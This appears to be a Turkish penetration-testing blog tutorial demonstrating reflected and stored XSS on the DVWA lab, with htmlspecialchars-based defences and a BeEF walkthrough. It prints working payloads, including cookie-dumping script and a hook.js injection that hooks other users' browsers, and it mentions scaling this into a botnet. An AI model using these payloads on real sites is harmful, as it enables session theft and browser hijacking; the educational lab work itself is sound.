Blog

Metasploitable İle Sızma Testleri 4

Vakit müsaitliği olmadığından kısa bir ara verdiğimiz metasploitable yazılarımıza tekrar devam ediyoruz. Bu yazımız da Web Güvenlik Açıklarından Cross Site Scripting güvenlik zafiyetini göreceğiz. Bu anlatacağımız konularla ilgili internette tonla makale mevcuttur. Bu yazılarla yetinmeyip azıyla yetinmeymeye özen gösteriniz.

Bilgi olarak makinaların iplerini hatırlayalım:

Kali Linux  :  192.168.21.128

Metasploitable 2  : 192.168.21.143

Cross Site Scripting (XSS / Çapraz kod çalıştırma)

Cross Site scripting (çapraz kod çalıştırma) manasına gelir. Bu güvenlik açığının oluşma sebeplerinden olan sayfalar ve veritabanları arasındaki dataların web ekranına yansıtılması sırasında ihmal edilen html karakterlerinin filtrelenmemesinden sebeple meydana gelir. Daha da açarsak;

Örnek basit HTML kod:

<h1>Başlık</h1>

Burada ki h1 html, başlık tag'idir. Başlık yazısı büyük gözükür. Yani html kodu sayfada çalıştığı için büyük gözükür. Bu bir açıklıkmıdır? Owner için yani bu sayfayı oluşturan bu kodu yazan kodlayıcı için hayır ama bu sayfanın kodlarını düzenleme yetkisine erişmiş veya burada ki göz ardı edilen kodları gören bir hacker için evet.

Son kullanıcı olarak bizden alınan verilerin ekrana döndürüldüğünü farz edelim. Bu verinin alındığı yer bir sosyal medya platformu olsun. Örneğin twitter da attığınız tweet sizi takip eden veya etmeyen kişilerin görebileceği yazılardır. Burada, twitter üzerinde yazılan tweetin alındığı form da yani tweeti yazdığımız kutucuktan alınan verinin html filtrelemeden geçmeden direk veritabanına kayıt edilip oradan tweet şeklinde umuma açık olarak takipçilerimiz tarafından görülmesi için açık ortamda paylaşıldığını farzedelim.. Tweet de yazdığımız <h1>tweet</h1> şeklindeki html kod çalıştığından karşı tarafta bu kodu büyük başlık yazısı olarak görecektir. Yani kod çalışacak biz ne görüyorsak karşı taraf o kodun çalışmış halini görecek. XSS zafiyetinin sömürü mantığı da burada devreye girmekte.. Bu zafiyette genelde sömürüler javascript jquery ve html dilleri dinamik olarak kullanılarak karşı tarafın tarayıcısından veya kendisinden bilgi koparmaya ve/ya karşı tarafın tarayıcısının ele geçirilip kontrol edilmesine kadar giden bir serüven. Bu bilgi koparma aşamalarını şimdi göreceğiz.

Javascript de yazacağımız bir kod html filtreden geçmeyen input output kısmında da çalışacağı için bu kod karşı tarafta da çalışacaktır, biz zararlı bir kod da yazsak çalışacaktır.. Açığın genel tanımı böyledir. Alınan verilerin HTML karakterlerden süzülmemesi sonucu ortaya çıkan zafiyet.  Buraya kadar anladığımızı farz ediyorum devam ederek bu süzülemeyen karakterlerin nasıl tehlike arz edebileceğini anlatmak istiyorum. Bugüne kadar javascript ile geliştirilmiş bir çok sömürü aracı ve çeşidi bulunmakta. Buradan javascriptin çok gelişmiş bir dil olduğunu anlayabiliyoruz. Hali hazırda kodlanan ve internette bulanilen XSS sniffer dediğimiz karşı tarafta çalışan javascript kodunun gene karşı tarafın hedef oturum bilgilerinin yani cookielerinin çalınarak bir text dosyasına veya veritabanına kaydedilerek, hackerın bu cookielere erişip kullanarak gene aynı platformda ki kendi oturum bilgileriyle / cookieleriyle değiştirip hedefin hesabına veya oturumuna giriş yapmasına imkan sağlamakta..  Bu Sniffer olayı yaklaşık 2-3 senedir benim gözlemimce rafa kalkmış bulunmakta yerini daha gelişmiş kodlnan ve kodlayıcı grup tarafından devamlı geliştirilen Beef adında ki araçtır.  Kali Linux gibi çeşitli sızma testleri için kullanılan *nix işletim sistemlerinde varsayılan olarak bu araç gelmektedir.

XSS Zafiyetinin Çeşitleri ve Beef Aracının Kullanım Mantığı

A) Reflected

Reflected zafiyetine örnek olarak; anlık işlem gerçekleştiren inputları gösterebiliriz. Örneğin arama kutusu.

Burada yazılan kod yalnız o an çalışmaktadır. Bu zafiyetin http://x.com/ara.php?kelime=<img src="xss" onerror="alert(XSS'); > şeklinde bir url ile hedef tarafa eriştirip bu kodun o tarafta çalışması sağlanır ve kod çalışır. Buradaki kodda alert alınarak xss yazar.

B) Stored

Stored türü zafiyet de, yukarıda örnek verdiğimiz gibi sosyal medya siteleri veya umumun görebildiği alanlar akla gelebilir.

Bir foruma girip bir random topic e girdiğinizde altına yapılan yorumları görürsünüz. Bu yorumları eğer bir kısıtlama yoksa o topic e erişebilen herkes görebilir. Bu yorumlarda çalıştırılacak bir zararlı javascript kodu o topic e erişen herkesi etkieyecek, herkeste çalışacaktır. Örneğini aşağıda göreceğiz.

C) DOM-Based

DOM-Based  Web sayfasında bulunan nesnelere(img, input, form, button) müdahale edip akışını değiştirebilen bir XSS zafiyet türüdür. Misal kayıt formların da ki action kısmında bulunan  ör:kayıt.php sayfasına değil de farklı actionlara yönlendirip bunun üzerinden kimlik hırsızlığı veya farklı farklı yönlendirmelerin yapıldığı bir sayfaya gidip zararlı yazılım bulaştırma, sahte formlarla bilgi elde etme, phising, zararlı kod çalıştırma gibi senaryolar uygulanabilir. Net'de bu konuyla ilgili bir çok senaryo mevcuttur.

Şimdi elimizde bulunan DVWA scriptinden örnekler ile gideceğiz.

İlk olarak DVWA ara yüzümüzü tekrar hatırlayalım.

Sol menüdeki alt kısımda stored ve reflected xss sekmeleri hali hazırda görülmektedir.. Bunları incelemeye koyulalım ve ilk olarak stored XSS i inceleyelim.

Stored adından anladığımız gibi saklamak, doldurmak, yüklemek manasına gelir. Bu xss türünün özelliği yukarıda belirttiğimiz gibi yalnızca bize geri dönüşü değil kodun yazıldığı alana erişen herkese olmasıdır. Yazılan kodun veritabanın da veya text dosyasında kaydedilmesinden ötürü ekrana umumun göreceği bir şekilde kodun yazdırılmasıyla oluşmaktadır.. Örnek olarak ziyaretçi defterlerini ve forumlarda makalelerin altına yazılan ve herkesin görebileceği yorumları verebiliriz.. Burada ki form, bizden input olarak Name ve Message istiyor. Buraya girdiğimiz veriler veritabanın da kaydediliyor. Bir şeyler yazıp döneni, somut olarak görelim.

Gördüğümüz gibi veritabanına kaydedildi ve ekrana basıldı.

Şimdi, bunu yapan kodu view source butonuna basarak görelim ve kodu kendimizce yorumlayalım.

Kod ; isset fonksiyonu ile btnsign name'i ile butona basılıp basılmadığını kontrol ediyor. Eğer koşuluyla butona basıldığı taktirde post ile mesaj ve isim adındaki input parametrelerle alınan veriler $message ve $name değişkenlerine atanıyor. Stripslashes fonksiyonu ile gelen mesajın içinden ters slash işaret (\) varsa temizleniyor. Mysql_real_Escape_String ile de sql injection saldırılarından korunuluyor. Daha sonra alınan datalar $query değişkeninde veritabanın da ki ilgili tablo ve kolonlara ekleniyor. Arkada çalışan bu kodlarda html karakterlerini filtreleyen bir fonksiyon kullanılmamış aksine sql injectiondan korunulmuştur. Bir javascript kod yazıp sayfanın bize ne döndürdüğüne bakalım..

Bir Javascript kodu olan document.write ile ekrana document.cookie yani oturum bilgilerini yazdırmasını istedim. Kod çalıştı yani filtrelenmedi ve bana cookie bilgilerini ekrana verdi. Şimdi bu tür bir zafiyetin paypal ve ebay gibi büyük firmalarda var olduğunu ve ortaya çıkabilecek zararı maddi ve manevi olarak düşünün. -ki belirtmek isterim ki büyük platformların çoğu bu tür zafiyetlerden korunmak için bug bounty ödül avcılığı kapsamında hizmetler verip, zafiyet bildirimlerinde zafiyetin oluşturduğu tehlike derecesine göre para ödülleri vermekteler. Bizim bünyemizde ise bu tarz hizmetlere benzerlik teşkil eden bir çeşidini de Gais vermekte. Bkz: twitter @gaissecurity

Basit bir programlama mantığıyla yazılan xss snifferlar bu cookieleri aynı şekilde ekrana yazdırmak yerine alıp saldırgana çeşitli yollarla iletirler. Yani oturum bilgilerini karşı tarafa iletilir. Bir tanım vardır benim de çok hoşuma gider, XSS kimilerine göre en tehlikelli zafiyettir ve bu zafiyet ile karşı tarafta yapamayacağınız şeylerin sayısı azdır.  Bunun örneğini reflected türünü işledikten sonra beef kullanımında göreceğiz. Şimdi reflected xss kısmına geçelim.

Buradaki görüntümüzden de anlayacağınız üzere input dan, kullanıcıdan alınan veri tekrar yazılıyor.

Kaynak kodu okursak nasıl çalıştığını daha iyi anlayacağımızı düşünüyorum.

GET metoduyla basit bir şekilde name parametresinden gelen data alınıyor ve ekrana yazılıyor.  Gelen data içerisinde html karakteri barınıyor mu barınmıyor mu kontrol edilip filtrelemeden direk yazdırıyor. Yukarıda ki örneğimizle bağdaştırırsak yazacağımız javascript kodu sadece o kodun çalıştığı url e erişen kişi üzerinde çalışır. Deneyelim.

Yazdığımız kod <script>document.write(document.cookie)%3B<%2Fscript>

Filtreleme

Bu kısma kadar az çok xss zafiyetinin üzerinden geçtik. Şimdi ise bu zafiyetin önüne nasıl geçebileceğimizi göreceğiz.. Şimdi şu konuyu hatırlayalım; Bazı kurumlar veya siteler arama kısımlarında veya farklı kısımlarda tüm html ve javascript taglarının ve kodlarının çalışmasını engellemek istemezler. Örneğin mail servislerin de, kurumsal şirketlere atılan mailler de, içerik veya yazılarda bazı konularda yazıların kalın fontlar da olması gerekir. Bazen de atılan maillerde html kod eklemek zorunda kalınır bu şekilde ki, zaruriyet harici durumlarda tüm gelen geçen verilerdeki html ve javascript kodlarını salt okunur hale getirmek yani çalışmasını engellemek için htmlspecialchars fonksiyonu kullanılır.  Bir başka fonksiyon ise str_replace fonksiyonudur. Yukarıda belirttiğim mail servisleri gibi zaruri yerlerde bazı html taglarının çalışmasında bir müsama gösterirler veya engellerler. Bu fonksiyonla da alınan veriler de; fonksiyon içerisinde  belirtilen, örnek olarak <iframe>, <form> gibi taglerin geçersiz kılınması istenir ve bu fonksiyonla da değiştirilmesini veya filtrelenmesini istediğimiz *sözclük* yazılarak karşılığında ne olması gerektiği yazılır. Yani ben <html> tagını alıp yerine *yasak html tagı* yazdırabiliyorum. Bu şekilde istenilen tag'in engellenmesini sağlıyorum.

Örnek olarak ;

Str_replace("<iframe>", "Bu kod geçersizdir");

tarzı bir kod yazdığımız vakit gelen içerikte iframe tagi gördüğü yere "Bu kod geçersizdir" yazacaktır.  Bu da istenilen taglerin engellenebilmesine olanak sağlamaktadır.

Htmlspecialchars($_REQUEST)

 ise kesin olarak tüm karakterleri salt haline getirir.

DVWA da security sekmesinde zorluk ayarlarını high olarak ayarladığınızda yani yükselttiğinizde tekrar kaynak koda göz atarsanız htmlspecialchars kullanıldığını ve yazılan kodların salt biçimde direk yazıldığını görebilirsiniz.

 

XSS in mantığını az çok kavradığımızı düşünüyorum biraz da Beef kullanımına göz atalım..

Beef nedir?

The Browser Exploitation Framework, İngilizce anlamı "sığır eti, et" manasına gelmektedir.

Browser tabanlı yazılan sızma testi araçlarından olan beef,  yukarıda belirttiğim gibi penetration testing için yazılmış olan işletim sistemlerinde genel olarak mevcuttur. Örneğin backtrack, kali, parrot, arch gibi. Windows sistemi veya farklı işletim sistemleri üzerine de bu framework'ü kurabilirsiniz. https://github.com/beefproject/beef/wiki/Installation

Beefin çalışma mantığının üzerinden geçecek olursak; Beef, karşı da ki kişinin veya tarayıcının ele geçirilmesini sağlar. Bu ele geçirme sonucunda bizlere bir çok yetki ve işlem yapabilme imkanı sağlar. Örneğin karşı tarafın tarayıcı loglarını görüntüleme veya karşı tarafta belli başlı komutlar çalıştırmak gibi imkanlar sağlar.  Beef i bir terminal de çalıştırdığınızda sizlere oturumları yönetebilmek için bir arayüz URL i verir. Bir de karşı tarafın tarayıcısında çalıştırılacak olan script kodu verir. Bu scripti yani javascript dosyasını, zafiyetin bulunduğu site üzerinde çağırıp çalıştırdığımız da, bu sayfaya erişimi olan kişilerin tarayıcılarını kontrol etme imkanı sağlar.  Yani karşı taraf farkında olmadan Beef in kendi tarayıcısı üzerinde aktif olmasını sağlayan hook.js dosyası çalışır. Bu hook dosyasının urli beef i çalıştırdığımızda bizlere verilir. 

Beef arayüzü şöyledir:

Sol menü de offline ve online olarak aktif olan oturumları görüntüleyebiliriz. Örnek olarak dvwa üzerinde var olan stored xss zafiyetini kullanarak admin kullanıcısıyla yaptığımız yorumda hook.js dosyasını çağıracağız, farklı bir kullanıcı giriş yaparak yorumu görüntüleyip farkında olmadan o userın tarayıcısını ele geçireceğiz.  İlk olarak Beef i çalıştıralım;

Beef'i çalıştırmak için Terminale beef-xss yazmamız yeterlidir. Gerekli ayarları kendisi yaptıktan sonra default olarak browserı açacak ve beef login sayfası görülecektir. Beef ile ilgili çok ayrıntılı bilgiye girmeyeceğim çünkü uzadıkça uzayacak bir konudur bu..  Yüzeysel olarak üzerinden geçeceğiz ve sekmeleri tanıyacağız. Gördüğünüz üzere terminalde bizim karşımızda IP:3000/ui/authanticationURL'i verildi. Bu URL yukarda ki beef arayüzünün login kısmını açar. IP kısmına ister ağda ki yerel ipnizi, isterseniz bilgisayarda ki yerel ip adresinizi yazabilirsiniz. Tarayıcı üzerinde ki bu urle girdiğimizde giriş sayfası bizleri karşılayacaktır. Bu alanın giriş bilgileri varsayılan ayarlar olarak "beef" - "beef" dir. Bizim beef üzerinde online veya offline oturum elde etmemizi sağlayacak olan hook.js dosyasıdır demiştik. Bu dosya XSS bulunan sayfada URL üzerinden veya POST olarak çağırılır.

Örnek URL olarak şunu yazabilirim;

http://dvwaipsi/dvwa/xss.php?arama=<script src="http://ip:3000/hook.js"/></script>

Dikkatinizi celbetmek isterim ki Beef 3000 portunda çalışır.. Bu js dosyasını XSS zafiyetinin bulunduğu sayfada çağırarak o an bu URL üzerine giriş yapan kişinin tarayıcı oturumunu elde etmiş oluruz. Biraz daha açarsak, örneğin yukarıda ki stored xss bulunan sayfa da script kodunu çağırırsak oturum açan ve bu sayfaya giriş yapan tüm kullanıcılar tarafından bu yorum görüleceğinden yani bizim çağırdığımız javascript dosyası onların tarayıcılarında da çağırılıp çalıştırılacağından tarayıcı oturumunu elde etmiş olacağız. Bunu büyük bir zombi ağına dönüştürmek sizin hayal gücünüze kalmış durumda. Bizim zarar vermek değil saldırıya dayalı güvenlik elde etmeye meylimiz olsun..

İsterseniz bir de uygulamalı olarak görelim bu olayı..

Biraz önce bahsettiğim gibi admin kullanıcısıyla oturum açmıştık. Fakat veritabanın da bir den fazla kullanıcı mevcut. Biz admin kullanıcısıyla yoruma javascript kodunu enjekte edip admin kullanıcısından çıkış yapıp başka bir kullanıcıyla giriş yapacağız ve bu yorum ekranına(stored xss) tekrar giriş yapacağız.

Admin olarak giriş yaptık ve mesaj olarak hook.js dosyasını çağırdık. Şimdi çıkış yapalım ve farklı bir kullanıcı ile giriş yapalım.

Evet 1337 kullanıcısıyla giriş yaptık ve bundan önce yapılan yorumları görüntüledik. Admin kullanıcısının yaptığı yorumu 1337 kullanıcısı görmediğinden arkada çalışan kodu otomatik olarak farketmeyecektir. Ancak kaynak kod'a bakarsa görülebilir fakat buda onun aklına o an için kolay kolay geleceğini sanmam :) Şimdi Kali Linux da tarayıcıda Beef kontrol paneline bakalım.

Evet gelmiş, hatta iki kere gelmiş biz kodu 2 kere yazıp farklı oturumlarda gördüğümüzden dolayı.

Script güvenliğini High yaptığımda yazdığımız kodların filtrelendiğini ve salt okunur hale geldiğini görebiliriz.

Hatta Kali Linux makina da ayrı bir oturum açıp linux üzerinde ki Firefox tarayıcısının oturumunu da elde edelim. Bunun için tekrar dvwa 'da admin olarak giriş yapıp Stored sayfasına giriyoruz ve Linux oturumunu da elde ediyoruz..

Sağ menüde bir ip ye tıklayarak sekmelere bakalım neler mevcutmuş...

Ağ topolojisinden, olay kayıtlarına ve loglarına kadar bir çok şeyi üzerinde barındırıyor.. Şunu da belirtmek isterim beefi biz yerel ortamda kullandığımız için aynı ip subnet üzerinde ki makinalara saldırı yapıyoruz. Bunun gelişmiş senaryoları olabilir. Misal olarak DNS veya İP spoofing işlemlerinde ağ da ip yönlendirme yaparak hedeflerinizi içerisinde, yani kaynak kodunda hook.js çalıştırılan bir html sayfası urle yönlendirdiğinizde aynı sonucu elde edersiniz. Senaryoyu biraz daha geliştirerek statik ipsi olan ve internete erişen, internetten de kendisine erişilen bir sunucunuz var ise bu sunucunuz üzerine beef kurarak dünya çapında geniş bir zombi ağı oluşturabilirsiniz. Ama bunlar hep işin illegal tarafı olduğu için biz yapmıyoruz güvenlikle ilgileniyoruz. Makaleler de farkındaysanız hep bazı şeylerin üzerinden geçerek yüzeysel olarak anlatımını yapıyorum. Çünkü internet aleminde bu konularla ilgili Türkçe kaynak bakımından alabildiğine kaynak var olduğu için aynı şeyleri anlatıp tekerleğin tekrar tekrar icadı misaline geldiğinden hak verirsiniz ki bir zamandan sonra bıktırıyor ve  OWASP Top 10 zafiyetlerinden oldukça sıkılıyor insan.. Ama bu hizmetler metasploitable ın üzerinde geldiğinden bunlara da değinmeden de olmuyor. Beef in daha gelişmiş kullanımıyla ilgili internette tonlarca makale mevcuttur.

Evet, bu yazımız da XSS ve Beef e kısa ve öz olarak değindik. Bir sonraki yazımızda SQL injection'a  daha sonra diğer metasploitable hizmetlerinden biri olan ve şirketler ortamında çok sıklıkla kullanılan Samba üzerinde sızma testleri gerçekleştireceğiz..




Yazar Hakkında

Lise son sınıf öğrencisidir, 2010 yılından beri siber güvenlik ile ilgilenmektedir. CSS, PHP, C/C++ dilleri ve Web Penetration Testing ile yakından ilgilenmektedir. Bunlara ek olarak Sistem, Network ve Güvenlik Uzmanlığı eğitimleri almış olan Kelepçe, Bug Bounty Ödül Avcılığı kapsamında birçok tanınmış şirketten ödül almıştır, şuanda bilişim faaliyet topluluklarında Bilgi Güvenliği ve Sızma Testleri işlerini gönüllü olarak yapmaktadır.






Yorum Yapmak İçin Giriş Yapın.